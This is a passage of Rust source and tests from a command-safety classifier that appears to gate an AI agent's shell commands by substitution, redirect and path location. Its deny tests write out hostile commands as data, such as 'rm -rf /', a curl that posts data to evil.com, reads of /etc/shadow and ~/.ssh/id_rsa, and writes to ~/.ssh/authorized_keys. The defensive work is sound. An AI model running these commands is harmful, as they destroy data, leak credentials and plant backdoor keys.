724    let words: Vec<Vec<Token>> = cmd.words.iter().map(|w| w.expand().into_iter().map(Token::from_raw).collect()).collect();
725    if words.iter().all(Vec::is_empty) {
726        return Verdict::Allowed(SafetyLevel::Inert);
727    }
728    if super::opaque::smuggles_a_flag(cmd) {
729        return Verdict::Denied;
730    }
731
732    let cmd_v = super::netargs::with_args(cmd, || super::opaque::probed_verdict(cmd, &words, judging(!cmd.env.is_empty(), leaf_verdict)));
733    sub_v.combine(cmd_v).combine(redir_v)
734}
735
736/// The command leaf's verdict. The behavioral-capability engine is authoritative for every
737/// command it can resolve; the legacy classifier handles the rest (`…-engine` §4). There is
738/// no opt-out — the engine is the default and only path.
739fn leaf_verdict(tokens: &[Token]) -> Verdict {
740    let legacy = handlers::dispatch(tokens);
741    super::netargs::with_egress(tokens, crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy))
742}
743
744fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
745    if cmd.words.len() < 2 {
746        return Verdict::Denied;
747    }
748    for arg in &cmd.words[1..] {
749        if !arg_is_eval_safe(arg) {
750            return Verdict::Denied;
751        }
752    }
753    Verdict::Allowed(SafetyLevel::Inert)
754}
755
756fn arg_is_eval_safe(word: &Word) -> bool {
757    let mut found_safe = false;
758    for part in &word.0 {
759        match part {
760            WordPart::Lit(s) | WordPart::SQuote(s) => {
761                if !s.chars().all(char::is_whitespace) {
762                    return false;
763                }
764            }
765            WordPart::Escape(c) => {
766                if !c.is_whitespace() {
767                    return false;
768                }
769            }
770            WordPart::CmdSub(script) => {
771                if !script_yields_eval_safe(script) {
772                    return false;
773                }
774                found_safe = true;
775            }
776            WordPart::Backtick(raw) => {
777                let Some(script) = parse(raw) else {
778                    return false;
779                };
780                if !script_yields_eval_safe(&script) {
781                    return false;
782                }
783                found_safe = true;
784            }
785            WordPart::DQuote(inner) => {
786                if !arg_is_eval_safe(inner) {
787                    return false;
788                }
789                if has_substitution(inner) {
790                    found_safe = true;
791                }
792            }
793            WordPart::ProcSub(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => return false,
794        }
795    }
796    found_safe
797}
798
799fn script_yields_eval_safe(script: &Script) -> bool {
800    if script.0.len() != 1 {
801        return false;
802    }
803    let stmt = &script.0[0];
804    if !matches!(stmt.op, None | Some(ListOp::Semi)) {
805        return false;
806    }
807    let pipeline = &stmt.pipeline;
808    if pipeline.bang || pipeline.commands.len() != 1 {
809        return false;
810    }
811    let Cmd::Simple(s) = &pipeline.commands[0] else {
812        return false;
813    };
814    if !s.env.is_empty() {
815        return false;
816    }
817    // A redirect inside the substitution is allowed only if it's inert:
818    // stderr suppression (`2>/dev/null`), an fd dup (`2>&1`), or `/dev/null`.
819    // A redirect that writes a real file is SafeWrite, not inert, so
820    // `mise activate bash > evil` is rejected — eval-safe must not gain a
821    // file-write side effect, and diverting stdout to a file is pointless here.
822    if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
823        return false;
824    }
825    for w in &s.words {
826        if !word_is_plain_literal(w) {
827            return false;
828        }
829    }
830    let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
831    if tokens.is_empty() {
832        return false;
833    }
834    crate::registry::is_eval_safe_invocation(&tokens)
835}
836
837/// True iff every character of `word` is drawn from the bare-literal
838/// alphabet: ASCII alphanumerics plus `_`, `-`, `.`, `/`, `=`. Words
839/// matching this shape consist entirely of identifier-style or
840/// path-style tokens that the shell will pass through to the
841/// substituted command unchanged at runtime.
842///
843/// Required for words inside eval-safe substitutions because the
844/// "stdout is shell-init code" trust depends on the contributor having
845/// vetted what gets passed to the tool. Restricting the alphabet to
846/// chars with no shell-expansion semantics keeps the substituted
847/// invocation static across parse-time and runtime — what you see in
848/// the source is what the tool receives.
849fn word_is_plain_literal(word: &Word) -> bool {
850    word.0.iter().all(part_is_plain_literal)
851}
852
853fn part_is_plain_literal(part: &WordPart) -> bool {
854    match part {
855        WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
856        WordPart::Escape(c) => is_bare_literal_char(*c),
857        WordPart::DQuote(inner) => word_is_plain_literal(inner),
858        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => false,
859    }
860}
861
862/// Bare-literal alphabet: ASCII alphanumerics plus a tight punctuation
863/// set covering identifiers (`_`, `-`), versions / paths (`.`, `/`),
864/// and the long-flag value form (`=`). New chars require an explicit
865/// eval-safe use case — add by extending this match, never by
866/// excluding individual hostile chars.
867fn is_bare_literal_char(c: char) -> bool {
868    c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
869}
870
871/// Whether a command's redirects are acceptable on the USER-ALLOWLIST path — the one taken when the
872/// user's own `Bash(...)` rule names a command safe-chains does not otherwise know.
873///
874/// Delegates to [`redirect_verdict`], the same location model every other redirect goes through.
875/// It used to carry its own rule — a write was accepted only to `/dev/null`, a read always — and
876/// that second copy was wrong in BOTH directions:
877///
878/// - Too strict on writes. A granted runner script could not redirect anywhere, not even into the
879///   session scratchpad: `~/runner-scripts/x.sh > $SCRATCH/out.txt` fell through to a prompt while
880///   the byte-identical `cat f > $SCRATCH/out.txt` auto-approved through the engine path.
881/// - Too lax on reads. `Redir::Read` was unconditionally true, so `~/runner-scripts/x.sh <
882///   /etc/shadow` fed a credential to a granted command without ever consulting the read locus.
883///
884/// One model, one answer. A grant covers the command; the redirect is still gated by where it
885/// lands, so `> ~/.ssh/authorized_keys` stays denied whatever rule named the command.
886pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
887    redirect_verdict(redirs).is_allowed()
888}
889
890/// Whether a redirect *write* target is one we can auto-approve. Delegates to the SAME location
891/// model + user grants the engine's file writers (`cp`/`mv`/`tee`/…) use, so a `> ~/file` honors
892/// a home grant exactly like `cp ./a ~/file`; `/tmp` and `/dev/stdout` stay writable; and
893/// `.git`/`.envrc`, home, absolute system paths, `..` escapes, and `$`-unpinnable targets stay
894/// frozen (a redirect there can plant a git hook, an SSH key, or a direnv script that runs
895/// later). Relative targets resolve against the harness cwd/root inside `write_target_verdict`.
896fn is_safe_write_target(path: &str) -> bool {
897    crate::engine::resolve::write_target_verdict(path).is_allowed()
898}
899
900/// The verdict for a redirect that OPENS `target` for writing.
901fn write_face(target: &Word) -> Verdict {
902    let t = target.eval();
903    if t == "/dev/null" {
904        // Inert: no side effect, no promotion.
905        Verdict::Allowed(SafetyLevel::Inert)
906    } else if is_safe_write_target(&t) {
907        Verdict::Allowed(SafetyLevel::SafeWrite)
908    } else {
909        Verdict::Denied
910    }
911}
912
913/// The verdict for a redirect that OPENS `target` for reading. Gates the SOURCE by its read locus,
914/// like an operand read: `cat < /etc/shadow` must deny just as `cat /etc/shadow` does. A
915/// substitution-derived source names an unknowable file → fail-closed to Denied.
916fn read_face(target: &Word) -> Verdict {
917    let t = target.eval();
918    // Keyed on the EVALUATED value rather than on "is there a substitution part", so a
919    // substitution whose inner command declared its output locus (`< $(pwd)/f`) is gated by that
920    // locus, while an undeclared one still fail-closes on its opaque marker.
921    if is_opaque_value(&t) { Verdict::Denied } else { crate::engine::resolve::read_content_verdict(&t) }
922}
923
924pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
925    let mut level = Verdict::Allowed(SafetyLevel::Inert);
926    for r in redirs {
927        match r {
928            Redir::Write { target, .. } => {
929                level = level.combine(word_sub_verdict(target));
930                level = level.combine(write_face(target));
931            }
932            Redir::Read { target, .. } => {
933                level = level.combine(word_sub_verdict(target));
934                level = level.combine(read_face(target));
935            }
936            // `<>` opens the target BOTH ways, so it takes both gates. Taking only one would let
937            // the other face through: the write gate alone misses reading a secret, and the read
938            // gate alone misses overwriting a file that is merely readable.
939            Redir::ReadWrite { target, .. } => {
940                level = level.combine(word_sub_verdict(target));
941                level = level.combine(write_face(target));
942                level = level.combine(read_face(target));
943            }
944            Redir::HereStr(word) => {
945                level = level.combine(word_sub_verdict(word));
946            }
947            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
948            // expands the body, so a substitution in it runs and is classified exactly like one in
949            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
950            Redir::HereDoc { body, .. } => {
951                level = level.combine(word_sub_verdict(body));
952            }
953            Redir::DupFd { .. } => {}
954        }
955    }
956    level
957}
958
959fn has_substitution(word: &Word) -> bool {
960    word.0.iter().any(|p| match p {
961        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
962        WordPart::DQuote(inner) => has_substitution(inner),
963        _ => false,
964    })
965}
966
967#[cfg(test)]
968mod tests {
969    use super::*;
970
971    fn check(cmd: &str) -> bool {
972        is_safe_command(cmd)
973    }
974
975    #[test]
976    fn loop_variable_inherits_the_list_locus() {
977        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
978        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
979        for cmd in [
980            "for f in ./*.txt; do cat \"$f\"; done",
981            "for f in ./*.txt; do rm \"$f\"; done",
982            "for f in src/*.rs; do grep foo \"$f\"; done",
983            "for f in ./*.log; do sed -i s/a/b/ \"$f\"; done",
984            "for f in a b c; do cat $f.bak; done",
985            "for x in 1 2 3; do rm $x; done",
986            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
987        ] {
988            assert!(check(cmd), "worktree loop should allow: {cmd}");
989        }
990        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
991        for cmd in [
992            "for f in /etc/*; do cat $f; done",
993            "for f in /etc/*.conf; do rm $f; done",
994            "for f in ~/.ssh/*; do cat $f; done",
995            "for f in $LIST; do rm $f; done",
996            "for f in $(find / -name x); do rm -rf $f; done",
997            // nested: the inner list inherits the outer binding, so the body reads ~/.ssh/id_rsa
998            "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
999            // read-worst ≠ write-worst: reading must worst-case the credential store even though
1000            // the write-worst item is /etc/hosts — a single representative would be unsound.
1001            "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
1002            // A glob can match a file named `-n` or `--files0-from=x.txt`, and an unquoted use
1003            // splits a name at its blanks: either puts a flag where the command reads one.
1004            "for f in *.txt; do cat \"$f\"; done",
1005            "for f in *.txt; do rm $f; done",
1006            "for f in src/*.rs; do grep foo $f; done",
1007            "for f in -delete; do find / $f; done",
1008            "for f in -delete; do find / \"$f\"; done",
1009        ] {
1010            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
1011        }
1012    }
1013
1014    safe! {
1015        grep_foo: "grep foo file.txt",
1016        jq_key: "jq '.key' file.json",
1017        base64_d: "base64 -d",
1018        ls_la: "ls -la",
1019        wc_l: "wc -l file.txt",
1020        ps_aux: "ps aux",
1021        echo_hello: "echo hello",
1022        cat_file: "cat file.txt",
1023
1024        version_go: "go --version",
1025        version_cargo: "cargo --version",
1026        version_cargo_redirect: "cargo --version 2>&1",
1027        help_cargo: "cargo --help",
1028        help_cargo_build: "cargo build --help",
1029
1030        dev_null_echo: "echo hello > /dev/null",
1031        dev_null_stderr: "echo hello 2> /dev/null",
1032        dev_null_append: "echo hello >> /dev/null",
1033        dev_null_git_log: "git log > /dev/null 2>&1",
1034        fd_redirect_ls: "ls 2>&1",
1035        stdin_dev_null: "git log < /dev/null",
1036
1037        env_prefix: "FOO='bar baz' ls -la",
1038        env_prefix_dq: "FOO=\"bar baz\" ls -la",
1039        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1040
1041        subst_echo_ls: "echo $(ls)",
1042        subst_ls_pwd: "ls `pwd`",
1043        subst_nested: "echo $(echo $(ls))",
1044        subst_quoted: "echo \"$(ls)\"",
1045        assign_subst_ls: "out=$(ls)",
1046        assign_subst_git: "out=$(git status)",
1047        assign_subst_multiple: "a=$(ls) b=$(pwd)",
1048        assign_subst_backtick: "out=`ls`",
1049
1050        assign_bare_lit: "foo=bar",
1051        assign_bare_int: "x=1",
1052        assign_bare_empty: "x=",
1053        assign_bare_dq: "x=\"foo bar\"",
1054        assign_bare_sq: "x='foo bar'",
1055        assign_bare_param: "rc=$?",
1056        assign_bare_var: "x=$y",
1057        assign_bare_dollar_var_braced: "x=${y}",
1058        assign_bare_path: "PATH=/foo",
1059        assign_bare_multiple: "a=1 b=2 c=3",
1060        assign_bare_arith: "x=$((1 + 2))",
1061        assign_in_for_body: "for i in 1 2; do x=1; done",
1062        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1063        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1064        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1065        assign_then_use: "x=1; echo $x",
1066        assign_chained_with_safe: "x=1 && ls",
1067        assign_subshell: "(x=1)",
1068        assign_in_subshell_with_cmd: "(x=1; ls)",
1069
1070        // A loop over a BOUNDED substitution. These are the positive half of the substitution
1071        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
1072        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
1073        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
1074        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1075        loop_over_pwd: "for f in $(pwd); do cat $f; done",
1076        loop_over_pwd_quoted: "for f in $(pwd); do cat \"$f/x\"; done",
1077        loop_over_pwd_pipeline: "for f in $(pwd | head -3); do cat $f; done",
1078
1079        case_single_arm: "case x in x) echo a;; esac",
1080        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1081        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1082        case_last_arm_without_terminator: "case x in x) echo a; esac",
1083        case_empty_body: "case x in x) ;; esac",
1084        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
1085        case_in_substitution: "echo $(case A in *) echo a;; esac)",
1086        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1087        clobber_redirect: "ls >| out.txt",
1088        clobber_redirect_fd: "ls 1>| out.txt",
1089        readwrite_redirect: "ls <> f.txt",
1090        readwrite_redirect_devnull: "ls <> /dev/null",
1091
1092        subshell_echo: "(echo hello)",
1093        subshell_ls: "(ls)",
1094        subshell_chain: "(ls && echo done)",
1095        subshell_pipe: "(ls | grep foo)",
1096        subshell_nested: "((echo hello))",
1097        subshell_for: "(for x in 1 2; do echo $x; done)",
1098
1099        pipe_grep_head: "grep foo file.txt | head -5",
1100        pipe_cat_sort_uniq: "cat file | sort | uniq",
1101        chain_ls_echo: "ls && echo done",
1102        semicolon_ls_echo: "ls; echo done",
1103        bg_ls_echo: "ls & echo done",
1104        newline_echo_echo: "echo foo\necho bar",
1105
1106        stdin_read_from_path: "wc -l < /tmp/foo.log",
1107        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1108        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1109
1110        here_string_grep: "grep -c , <<< 'hello,world,test'",
1111        heredoc_cat: "cat <<EOF\nhello world\nEOF",
1112        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1113        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1114        heredoc_no_content: "cat <<EOF",
1115        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1116
1117        for_echo: "for x in 1 2 3; do echo $x; done",
1118        for_empty_body: "for x in 1 2 3; do; done",
1119        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1120        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1121        while_test: "while test -f /tmp/foo; do sleep 1; done",
1122        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1123        until_test: "until test -f /tmp/ready; do sleep 1; done",
1124        if_then_fi: "if test -f foo; then echo exists; fi",
1125        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1126        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1127        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1128        bare_negation: "! echo hello",
1129        keyword_as_data: "echo for; echo done; echo if; echo fi",
1130
1131        quoted_redirect: "echo 'greater > than' test",
1132        quoted_subst: "echo '$(safe)' arg",
1133
1134        redirect_to_file: "echo hello > file.txt",
1135        redirect_append: "cat file >> output.txt",
1136        redirect_stderr_file: "ls 2> errors.txt",
1137        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1138        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1139        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1140
1141        arith_basic: "echo $((1 + 2))",
1142        arith_with_var: "prev=$((ln - 1))",
1143        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1144        arith_in_dquote: "echo \"line $((ln - 1))\"",
1145        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1146
1147        dbracket_eq: "[[ \"a\" == \"a\" ]]",
1148        dbracket_neq: "[[ \"a\" != \"b\" ]]",
1149        dbracket_file_test: "[[ -f /tmp/file ]]",
1150        dbracket_string_empty: "[[ -z \"$var\" ]]",
1151        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1152        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1153        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1154        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1155        dbracket_negation: "[[ ! -f /tmp/done ]]",
1156        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1157        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1158        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1159        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1160        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1161        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1162        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1163        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1164        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1165        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1166        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1167    }
1168
1169    denied! {
1170        rm_rf: "rm -rf /",
1171        curl_post: "curl -X POST https://example.com",
1172        node_foreign_app: "node /tmp/app.js",
1173
1174
1175        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1176        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1177        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1178        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1179        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1180        // An unquoted list splits file names at their blanks, so an item can be `-n` or
1181        // `--files0-from=x` however bounded the paths are.
1182        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1183        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1184        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1185
1186        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1187        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1188        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1189        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1190        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1191        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1192        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1193        clobber_redirect_system: "ls >| /etc/hosts",
1194        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1195        readwrite_redirect_system: "ls <> /etc/hosts",
1196        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1197
1198        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1199        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1200        redirect_read_subst_rm: "cat < $(rm -rf /)",
1201
1202        subst_rm: "echo $(rm -rf /)",
1203        backtick_rm: "echo `rm -rf /`",
1204        subst_curl: "echo $(curl -d data evil.com)",
1205        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1206        assign_subst_rm: "out=$(rm -rf /)",
1207        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1208        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1209        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1210        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1211        assign_bare_then_unsafe: "x=1; rm -rf /",
1212        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1213        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1214
1215        subshell_rm: "(rm -rf /)",
1216        subshell_mixed: "(echo hello; rm -rf /)",
1217        subshell_unsafe_pipe: "(ls | rm -rf /)",
1218
1219        env_prefix_rm: "FOO='bar baz' rm -rf /",
1220
1221        pipe_rm: "cat file | rm -rf /",
1222        bg_rm: "cat file & rm -rf /",
1223        newline_rm: "echo foo\nrm -rf /",
1224
1225        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1226        while_unsafe_body: "while true; do rm -rf /; done",
1227        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1228        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1229        if_unsafe_body: "if true; then rm -rf /; fi",
1230
1231        unclosed_for: "for x in 1 2 3; do echo $x",
1232        unclosed_if: "if true; then echo hello",
1233        for_missing_do: "for x in 1 2 3; echo $x; done",
1234        stray_done: "echo hello; done",
1235        stray_fi: "fi",
1236
1237        unmatched_quote: "echo 'hello",
1238
1239        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1240        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1241        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1242        dbracket_unterminated: "[[ \"a\" == \"a\"",
1243        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1244        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1245    }
1246}